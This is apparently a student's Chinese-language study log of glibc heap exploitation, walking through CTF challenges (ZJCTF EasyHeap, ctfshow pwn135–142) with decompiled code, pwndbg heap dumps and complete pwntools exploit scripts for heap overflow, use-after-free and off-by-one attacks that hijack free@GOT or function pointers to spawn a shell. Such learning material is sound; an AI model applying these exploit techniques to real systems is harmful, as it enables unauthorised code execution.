现在开始学堆,听说heap比stack难多了,于是我想记录一下学习记录,然后再总结一下

  1. 记录一下第一个写的heap题 [ZJCTF 2019]EasyHeap

    什么都不懂,看wp,说在edit有一个堆溢出

1

​ 思路:

2

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level="debug"
#io=process("easyheap")
io=remote("node5.buuoj.cn",29842)
elf=ELF("easyheap")

def add(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.send(content)


def edit(index,size,content):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap : ")
io.send(content)

def delete(index):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))



add(0x60,"happy")
add(0x60,"happy")
add(0x60,"happy")
delete(2)
payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
add(0x60,"happy")
add(0x60,"happy")
payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2)
payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
#gdb.attach(io)
#pause()
delete(1)
io.interactive()

进入2025的暑假了🎉,感觉最近学re和misc比较多🛡️🧩,pwn也写了一些🔥,可是绩点掉了不少📉,主包下定决心这个暑假一定好好学pwn💪而且一定要卷回绩点🚀,fighting👊!现在开始heap的正式学习📚➡️🧠

什么是堆?

堆是操作系统提供给程序的一块动态分配的内存区域。它的大小通常远大于栈。

其内存分配通常向上增长(从低地址向高地址)。

堆的结构

代码:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h> 
#include <string.h>
#include <stdlib.h>
int main(int argc, char* argv[]){
char* ptr;
ptr = (char*)malloc(20);
strcpy(ptr, argv[1]);
printf("%s\n", ptr);
free(ptr);
return 0;
}

从代码中我们就可以看出堆的空间是由malloc函数分配的。

那malloc()是什么样的呢

它向操作系统请求在上分配一块连续的、指定大小的内存区域。

1
void *malloc(size_t size); #size_t size:这是唯一的参数,表示你需要分配的内存块的字节数。

堆内存整体布局:

1
2
3
4
5
6
7
8
9
低地址                                     高地址
┌───────────────┬─────────────────┬─────────────────┬─────────────────┐
│ 已分配Chunk A │ 空闲Chunk B │ 已分配Chunk C │ Top Chunk │
├───────────────┼─────────────────┼─────────────────┼─────────────────┤
│ prev_size=0 │ prev_size=0 │ prev_size=0 │ prev_size=... │
│ size=0x21 │ size=0x41 │ size=0x31 │ size=0x20d01 │
│ user_data[...]│ FD=0xabcdef00 │ user_data[...] │ (未分配空间) │
│ │ BK=0x12345678 │ │ │
└───────────────┴─────────────────┴─────────────────┴─────────────────┘

已分配Chunk:

1
2
3
4
5
6
7
8
9
10
┌───────────────────────────┐
│ prev_size │ ◄── 如果前一个chunk空闲,存储其大小
├───────────────────────────┤
│ size │ ◄── 当前大小 + 标志位 (e.g. 0x20 | PREV_INUSE)
├───────────────────────────┤
│ │
│ User Data │ ◄── 应用程序实际使用的区域
│ (可溢出) │
│ │
└───────────────────────────┘

空闲Chunk (在bins中)

1
2
3
4
5
6
7
8
9
10
11
12
13
┌───────────────────────────┐
│ prev_size │
├───────────────────────────┤
│ size │
├───────────────────────────┤
│ FD (fd) │ ◄── 指向同bin中下一个空闲chunk
├───────────────────────────┤
│ BK (bk) │ ◄── 指向同bin中上一个空闲chunk
├───────────────────────────┤
│ │
│ Unused Data Space │ ◄── 可被元数据复用
│ │
└───────────────────────────┘

还有一个很重要的就是了解chunk了

源码:

1
2
3
4
5
6
7
struct malloc_chunk {
size_t prev_size; // 前一个chunk的大小(若前一个chunk空闲)
size_t size; // 当前chunk的大小 + 状态标志位

struct malloc_chunk* fd; // 空闲chunk:指向链表中下一个chunk(仅当空闲时有效)
struct malloc_chunk* bk; // 空闲chunk:指向链表中前一个chunk(仅当空闲时有效)
};

chunk的结构大致也了解了,就开始了解堆溢出了

堆溢出

UAF

看了几篇uaf的文章,感觉不是很理解,对很多指针和结构体还不是很清楚,还需继续了解,于是我决定先去ctfshow了解一下堆利用的前置基础知识。

前置基础知识

pwn135

介绍了

1
2
3
1. malloc     void* malloc(size_t size);
2. calloc void* calloc(size_t num, size_t size);
3. realloc void* realloc(void* ptr, size_t new_size);

开始了解这三个函数

关键区别总结

函数 初始化 参数形式 主要用途
malloc size(总字节数) 分配未初始化内存
calloc 是(0) num, size(元素信息) 分配并初始化归零的内存
realloc 部分 ptr, new_size 调整已分配内存的大小

这题输入4就可以得到flag

pwn136

介绍了free这个函数

1
void free(void *ptr);  //参数:ptr - 指向先前分配的内存块的指针

如果 ptrNULL:函数不执行任何操作(安全),如果不是NULL就存在UAF漏洞了

这题输入4就可以得到flag

pwn137

介绍了

1
2
3
getpid() pid_t getpid(void);    //每个进程在创建时会被分配一个唯一的正整数作为PID。
sbrk() void *sbrk(intptr_t increment); //increment:字节增量(正数扩展堆,负数收缩堆,0 获取当前堆顶)。
brk() int brk(void *addr); addr: //目标堆结束地址(指针)。

直接运行得到flag

pwn138

介绍了mmap

mmap()函数原型

1
2
3
#include <sys/mman.h>

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
参数 类型 说明
addr void* 建议的映射起始地址(通常设为NULL,由内核决定)
length size_t 映射区域的长度(字节)
prot int 内存保护标志(控制访问权限)
flags int 映射类型和特性标志
fd int 文件描述符(匿名映射时设为-1
offset off_t 文件映射的起始偏移量(必须是页大小的整数倍)

prot保护标志(位掩码组合)

标志 说明
PROT_READ 页面可读
PROT_WRITE 页面可写
PROT_EXEC 页面可执行
PROT_NONE 页面不可访问(用于防护)

pwn139

1
2
3
//fseek() 
#include <stdio.h>
int fseek(FILE *stream, long offset, int whence);

参数说明:

参数 类型 说明
stream FILE* 指向文件对象的指针
offset long 偏移字节数(可为负数)
whence int 基准位置: SEEK_SET(文件头) SEEK_CUR(当前位置) SEEK_END(文件尾)
1
2
3
fseek(fp, 100, SEEK_SET);   // 移动到文件头后100字节处
fseek(fp, -50, SEEK_CUR); // 从当前位置回退50字节
fseek(fp, -20, SEEK_END); // 移动到文件尾前20字节处
1
2
//ftell()
long ftell(FILE *stream);
1
2
//fread()
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

参数说明:

参数 类型 说明
ptr void* 目标缓冲区指针
size size_t 每个元素的字节大小
nmemb size_t 要读取的元素数量
stream FILE* 文件流指针

Arena 本质:将全局堆内存划分为多个独立区域,每个线程绑定到特定 Arena,实现无锁分配。

一个线程只能有一个arena,而且每个arena都是独立且不相同的。

主线程的arena叫做main_arena,子线程的arena叫做thread_arena。

pwn140

pthread_create() - 线程创建函数

功能:创建新的执行线程

1
2
3
#include <pthread.h>
int pthread_create(pthread_t *thread, const pthread_attr_t *attr,
void *(*start_routine)(void *), void *arg);

参数解析:

参数 类型 说明
thread pthread_t * 输出参数,存储新线程的 ID
attr const pthread_attr_t * 线程属性(NULL 表示默认属性)
start_routine void *(*)(void *) 线程入口函数(函数指针)
arg void * 传递给入口函数的参数

二、pthread_join() - 线程等待函数

功能:阻塞当前线程,直到目标线程结束

1
int pthread_join(pthread_t thread, void **retval);

参数解析:

参数 类型 说明
thread pthread_t 要等待的线程 ID
retval void ** 存储线程返回值(NULL 表示不关心返回值)

今天pwn就学到这里了💻,去写写web大作业了🌐,明天就进入pwn141🚀,去学习一下简单的uaf💣,争取开始写堆题⛏️!

pwn141

开始了第一个UAF了。

首先我了解了一下,一些知识:

  1. UAF漏洞首先需要出现free后的指针没有指向NULL

  2. 当指针没有指向NULL的时候,此时我们free后再次申请一个和它同样大小的堆的话,会直接把之前的内存直接分给我们这次申请的。

    1
    2
    比如第一次申请16字节的内存chunk1,free(释放)后,如果指针没有指向NULL,free只能把chunk放入bin,但是指针还是指向堆块的。
    此时我们只要再次申请和上个堆块一样的内存大小,此时就会把上次的chunk1的内存风给我们了,称后申请为chunk2,此时我们修改chunk2就是在改chunk1了。

主函数:

2

print_note():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_DWORD *)&notelist + v1) )
(**((void (__cdecl ***)(_DWORD))&notelist + v1))(*((_DWORD *)&notelist + v1));
return __readgsdword(0x14u) ^ v3;
}

我感觉这一部分有点没理解用deepseek解释一下,下面是上面的等价看的更清楚点

1
2
3
4
5
6
7
8
9
  if ( *((_DWORD *)&notelist + v1) )
(**((void (__cdecl ***)(_DWORD))&notelist + v1))(*((_DWORD *)&notelist + v1));
------------------------------------------------------------------------------------------------------------------- // 获取第v1个元素
FuncPtr **element = &notelist[v1];

if (*element != NULL) { // 检查一级指针是否有效
FuncPtr func = **element; // 解引用两次获取函数地址
func(*element); // 调用函数,传入*element作为参数
}

add一次会申请两次(待会看add函数)chunk第一次就作为函数地址,第二个就作为参数。

add_note()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
int v0; // esi
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*((_DWORD *)&notelist + i) )
{
*((_DWORD *)&notelist + i) = malloc(8u);
if ( !*((_DWORD *)&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full!");
}
return __readgsdword(0x14u) ^ v5;
}

print_note_content

1
2
3
4
int __cdecl print_note_content(int a1)
{
return puts(*(const char **)(a1 + 4));
}

print_note_content其实就是个puts函数。add_note()每次都会申请两个堆块。

del_note();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_DWORD *)&notelist + v1) )
{
free(*(void **)(*((_DWORD *)&notelist + v1) + 4));
free(*((void **)&notelist + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

可以看到free最后指针没有指向NULL,存在UAF漏洞。

use()

1
2
3
4
int use()
{
return system("cat /ctfshow_flag");
}

这里还有个后门函数。

分析到这里我们就可以来构造攻击思路了

1
2
3
4
5
6
7
8
9
10
首先我们要申请两个堆块(因为我们修改chunk的时候,add会会申请两个堆块一个用来存储print_note_content的地址,一个用来存储content).
先申请两次add,就是4个堆块
chunk0 ------->指向print_note_content 8字节
chunk0.0: ---->指向content0 大于8字节即可
chunk1 ------->指向print_note_content 8字节
chunk1.1 ----->指向content1 大于8字节即可
-------------------------------------------------------------------------------------------------------------------
free 0和1后
chunk2 ------->chunk1 8字节
chunk2.2 ----->chunk0 8字节 此时输入use的地址就可将其覆改从而执行use,getshell
1
2
3
4
5
6
7
8
9
[*] '/home/linkpwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

保护几乎全开了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
#from LibcSearcher import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#p=process("./pwn141")
p=remote("pwn.challenge.ctf.show",xxxx)
use = 0x08049684
#定义三个函数方便用
def add_note(size,content):
p.sendlineafter("choice :",b"1")
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",content)
def del_note(index):
p.sendlineafter("choice :","2")
p.sendlineafter("Index :",str(index))
def print_note(index):
p.sendlineafter(b"choice :",b"3")
p.sendlineafter(b"Index :",str(index))

add_note(32,"aaaa")
add_note(32,"bbbb")

del_note(0)
del_note(1)

add_note(8,p32(use))

print_note(0)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[DEBUG] Received 0x12 bytes:
b'cat: /ctfshow_flag'
cat: /ctfshow_flag[DEBUG] Received 0x1e bytes:
00000000 3a 20 e6 b2 a1 e6 9c 89 e9 82 a3 e4 b8 aa e6 96 │: ··│····│····│····│
00000010 87 e4 bb b6 e6 88 96 e7 9b ae e5 bd 95 0a │····│····│····│··│
0000001e
: 没有那个文件或目录
//本地打通
-------------------------------------------------------------------------------------------------------------------
[DEBUG] Received 0x106 bytes:
b'ctfshow{9f96328a-9405-447f-97a5-c2b73d8307e1}\n'
b'-------------------------\n'
b' CTFshowNote \n'
b'-------------------------\n'
b' 1. Add note \n'
b' 2. Delete note \n'
b' 3. Print note \n'
b' 4. Exit \n'
b'-------------------------\n'
b'choice :'
ctfshow{9f96328a-9405-447f-97a5-c2b73d8307e1}
//远程打通

今天上午就学到这里了,下午继续干web大作业,完整在进行pwndbg调色继续升入了解堆。

申请一个堆块时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804d008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804d198
Size: 0x10 (with flag bits: 0x11) //指向print_note_content chunk0

Allocated chunk | PREV_INUSE
Addr: 0x804d1a8
Size: 0x30 (with flag bits: 0x31) //content0---->chunk0.0

Top chunk | PREV_INUSE
Addr: 0x804d1d8
Size: 0x21e28 (with flag bits: 0x21e29)

申请两个堆块时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804d008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804d198
Size: 0x10 (with flag bits: 0x11) //指向print_note_content chunk0

Allocated chunk | PREV_INUSE
Addr: 0x804d1a8
Size: 0x30 (with flag bits: 0x31) //content0---->chunk0.0

Allocated chunk | PREV_INUSE
Addr: 0x804d1d8
Size: 0x10 (with flag bits: 0x11) //指向print_note_content chunk1

Allocated chunk | PREV_INUSE
Addr: 0x804d1e8
Size: 0x30 (with flag bits: 0x31) //content1---->chunk1.1

Top chunk | PREV_INUSE
Addr: 0x804d218
Size: 0x21de8 (with flag bits: 0x21de9)
1
2
3
4
5
6
7
8
9
pwndbg> x/30wx 0x804d198
0x804d198: 0x00000000 0x00000011 0x080492d6 0x0804d1b0 //0x080492d6 存放print_note_content chunk0
0x804d1a8: 0x00000000 0x00000031 0x61616161 0x0000000a //0x61616161 aaaa
0x804d1b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1d8: 0x00000000 0x00000011 0x080492d6 0x0804d1f0 //0x080492d6 存放print_note_content chunk0
0x804d1e8: 0x00000000 0x00000031 0x62626262 0x0000000a //0x62626262 bbbb
0x804d1f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d208: 0x00000000 0x00000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x080492d6
00:0000│ 0x80492d6 (print_note_content) ◂— endbr32
01:0004│ 0x80492da (print_note_content+4) ◂— push ebp
02:0008│ 0x80492de (print_note_content+8) ◂— sub esp, 4
03:000c│ 0x80492e2 (print_note_content+12) ◂— mov word ptr [esi], es
04:0010│ 0x80492e6 (print_note_content+16) ◂— add eax, 0x2d1a
05:0014│ 0x80492ea (print_note_content+20) ◂— add byte ptr [ebx + 0x528b0855], cl
06:0018│ 0x80492ee (print_note_content+24) ◂— mov edx, dword ptr [edx + 4]
07:001c│ 0x80492f2 (print_note_content+28) ◂— in al, dx
pwndbg> telescope 0x080492d6
00:0000│ 0x80492d6 (print_note_content) ◂— endbr32
01:0004│ 0x80492da (print_note_content+4) ◂— push ebp
02:0008│ 0x80492de (print_note_content+8) ◂— sub esp, 4
03:000c│ 0x80492e2 (print_note_content+12) ◂— mov word ptr [esi], es
04:0010│ 0x80492e6 (print_note_content+16) ◂— add eax, 0x2d1a
05:0014│ 0x80492ea (print_note_content+20) ◂— add byte ptr [ebx + 0x528b0855], cl
06:0018│ 0x80492ee (print_note_content+24) ◂— mov edx, dword ptr [edx + 4]
07:001c│ 0x80492f2 (print_note_content+28) ◂— in al, dx

可以很明显看到0x080492d6和0x080492d6存放的是print_note_content chunk0。再释放两个堆块,可以看到这些地址都是空闲的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804d008
Size: 0x190 (with flag bits: 0x191)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804d198
Size: 0x10 (with flag bits: 0x11)
fd: 0x804d

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804d1a8
Size: 0x30 (with flag bits: 0x31)
fd: 0x804d

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804d1d8
Size: 0x10 (with flag bits: 0x11)
fd: 0x80451ed

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804d1e8
Size: 0x30 (with flag bits: 0x31)
fd: 0x80451fd

Top chunk | PREV_INUSE
Addr: 0x804d218
Size: 0x21de8 (with flag bits: 0x21de9)

然后我们再申请两个8字节堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804d008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804d198
Size: 0x10 (with flag bits: 0x11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804d1a8
Size: 0x30 (with flag bits: 0x31)
fd: 0x804d

Allocated chunk | PREV_INUSE
Addr: 0x804d1d8
Size: 0x10 (with flag bits: 0x11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804d1e8
Size: 0x30 (with flag bits: 0x31)
fd: 0x80451fd

Top chunk | PREV_INUSE
Addr: 0x804d218
Size: 0x21de8 (with flag bits: 0x21de9)

看到0x804d198和0x804d1d8再次被用上了,刚刚我在chunk2的content输入flag,现在我们看看0x804d1d8和0x804d198所指的内容是什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> x/30wx 0x804d1d8
0x804d1d8: 0x00000000 0x00000011 0x080492d6 0x0804d1a0 //0x080492d6 ---->print_note_content
0x804d1e8: 0x00000000 0x00000031 0x080451fd 0x88bc415d
0x804d1f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d208: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d218: 0x00000000 0x00021de9 0x00000000 0x00000000
0x804d228: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d238: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d248: 0x00000000 0x00000000
pwndbg> x/30wx 0x804d198
0x804d198: 0x00000000 0x00000011 0x67616c66 0x0000000a //0x67616c66 flag
0x804d1a8: 0x00000000 0x00000031 0x0000804d 0x88bc415d
0x804d1b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1d8: 0x00000000 0x00000011 0x080492d6 0x0804d1a0
0x804d1e8: 0x00000000 0x00000031 0x080451fd 0x88bc415d
0x804d1f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d208: 0x00000000 0x00000000
pwndbg> telescope 0x080492d6
00:0000│ 0x80492d6 (print_note_content) ◂— endbr32
01:0004│ 0x80492da (print_note_content+4) ◂— push ebp
02:0008│ 0x80492de (print_note_content+8) ◂— sub esp, 4
03:000c│ 0x80492e2 (print_note_content+12) ◂— mov word ptr [esi], es
04:0010│ 0x80492e6 (print_note_content+16) ◂— add eax, 0x2d1a
05:0014│ 0x80492ea (print_note_content+20) ◂— add byte ptr [ebx + 0x528b0855], cl
06:0018│ 0x80492ee (print_note_content+24) ◂— mov edx, dword ptr [edx + 4]
07:001c│ 0x80492f2 (print_note_content+28) ◂— in al, dx

此时如果我们输入的不是flag而是use的地址的话,0x804d198指向的就是use的地址,我们此时只要执行一下3,就能执行use了。

OK现在这个UAF完成的挺好 👌🔥,明日继续 pwn142 🎯 off_by_one 🧠💥

off_by_one

今日开始学习off_by_one,进入pwn142之前我打算先学习一下有关off_by_one的知识

看了几篇文章我对堆上的off_by_one理解是:

  1. prinf函数的%s的结尾会自动加上’/x00’,造成单字节漏洞,就是溢出了一个字节,如果两个堆块紧邻的话,就会把溢出的这个字节挤到下一个堆块,覆盖先一个堆块的低字节。

  2. 还有一中就是for循环导致的例如

    1
    2
    3
    4
    5
    6
    7
    8
    int gett(char *ptr , int size){
    for(i = 0;i <= 32; i++){
    vul(i) = getchar();
    }
    }

    chunk0 = (*char)malloc(32)
    gett(chunk0,32);

    这里就会导致for循环的时候多读入了一个字节,造成单字节溢出。

先在开始正式开始pwn142,写完这个今天的任务就算完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}

首先看main函数,有 create_heap();,edit_heap();, show_heap();, delete_heap();, exit(0);这五个函数,我们依次来看看

create_heap():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*((_QWORD *)&heaparray + i) )
{
*((_QWORD *)&heaparray + i) = malloc(0x10uLL); //申请chunk0
if ( !*((_QWORD *)&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = *((_QWORD *)&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size); //把chunk1 + 8的位置复制给chunk0.0的指针,同时申请chunk0.0
if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) )
{
puts("Allocate Error");
exit(2);
}
**((_QWORD **)&heaparray + i) = size; //把chunk1赋值为size
printf("Content of heap:");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}

edit_heap()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 edit_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

# read_input(*(_QWORD *)(*((_QWORD *)&heaparray + v1) + 8LL), **((_QWORD **)&heaparray + v1) + 1LL);
# 可以发现修改的时候会多出来一个字节,就出现了off_by_one的漏洞了

delete_heap();在本题没什么大用处,就不分析了

show_heap()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 show_heap()
{
int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + v1) )
{
printf(
"Size : %ld\nContent : %s\n", //%s的格式化字符串,可以利用got表的地址泄露
**((_QWORD **)&heaparray + v1),
*(const char **)(*((_QWORD *)&heaparray + v1) + 8LL));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

函数到这里就分析完了,开始写思路

1
我们先申请一个0x18/0x28的creat(实际上就是两个堆块一个用于储存地址,一个用于储存内容),利用off_by_one去修改下个堆块的大小为0x40,先申请第二个creat,然后再把修改一个堆块送入/bin/sh同时修改第二个堆块的大小,然后释放第二个堆块,申请0x30的creat,并且内容填为free_got表的地址。最后show一下就可以泄露出free的地址,从而计算出system的地址,在把free_got的地址覆盖为system的地址,最后我们在delete(1)就可以实现system(/bin/sh)。

这里加上几个解释点

1
2
3
4
1. 为什么用0x18/0x28
应为0x18会被自动化整0x20,正好覆盖掉pre_size,然后我们又溢出了一个字节,就可以覆盖到size,从而改变下一个堆块的大小。
2. 为什么会出现两个数组合并成一个的现象(后面调试的时候会出现),根据堆的遍历机制,当遍历到size为0x40的时候,就直接跳到 top_chunk的位置就,从而导致没识别出第四个堆块。
3. 为什么第三次要用0x30,0x30 + 0x10 = 0x40正好对应上了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from LibcSearcher import *

# 设置日志级别为 debug,方便调试
context.log_level = 'debug'

# 连接远程服务
p = remote("pwn.challenge.ctf.show", 28289)

# 加载本地 ELF 文件
e = ELF("./pwn")

# 获取 free 的 GOT 地址
free_got = e.got["free"]

# 定义操作函数
def creat(size, content):
p.sendafter(b"Your choice :", b"1")
p.sendlineafter(b"Size of Heap : ", str(size))
p.sendlineafter(b"Content of heap:", content)

def edit(index, content):
p.sendlineafter(b"Your choice :", b"2")
p.sendlineafter(b"Index :", str(index))
p.sendafter(b"Content of heap : ", content)

def show(index):
p.sendlineafter(b"Your choice :", b"3")
p.sendlineafter(b"Index :", str(index))

def delete(index):
p.sendlineafter(b"Your choice :", b"4")
p.sendlineafter(b"Index :", str(index))

# 堆喷射与 UAF 利用步骤
creat(0x18, b"a"*4) # 创建第一个 chunk (index 0)
creat(0x10, b"b"*4) # 创建第二个 chunk (index 1)
edit(0, b"/bin/sh\x00" + b"a"*0x10 + b'\x41') # 修改 chunk 0,伪造 size 字段为 0x41
delete(1) # 释放 chunk 1,进入 fastbin
creat(0x30, p64(0)*4 + p64(0x10) + p64(free_got)) # 分配大块覆盖 chunk 1,并在其中写入 free@got 地址
show(1) # 泄露 free 地址
p.recvuntil(b"Content : ")
free_addr = u64(p.recv(6).ljust(8, b"\x00")) # 读取泄露的 free 地址
print(f"Free address: {hex(free_addr)}")

# 使用 LibcSearcher 确定 libc 版本和基地址
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

# 将 free@got 指向 system
edit(1, p64(system_addr))

# 触发 free(0),即调用 system("/bin/sh")
delete(0)

# 进入交互模式
p.interactive()
1
2
3
No matched libc, please add more libc or try others
去网上找一下
发现是libc6_2.27-3ubuntu1.6_amd64。换上去就行了

这样这题基本解决了,进行动态调试详细了解一下。

第一个次create

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x6032b0
Size: 0x20 (with flag bits: 0x21)

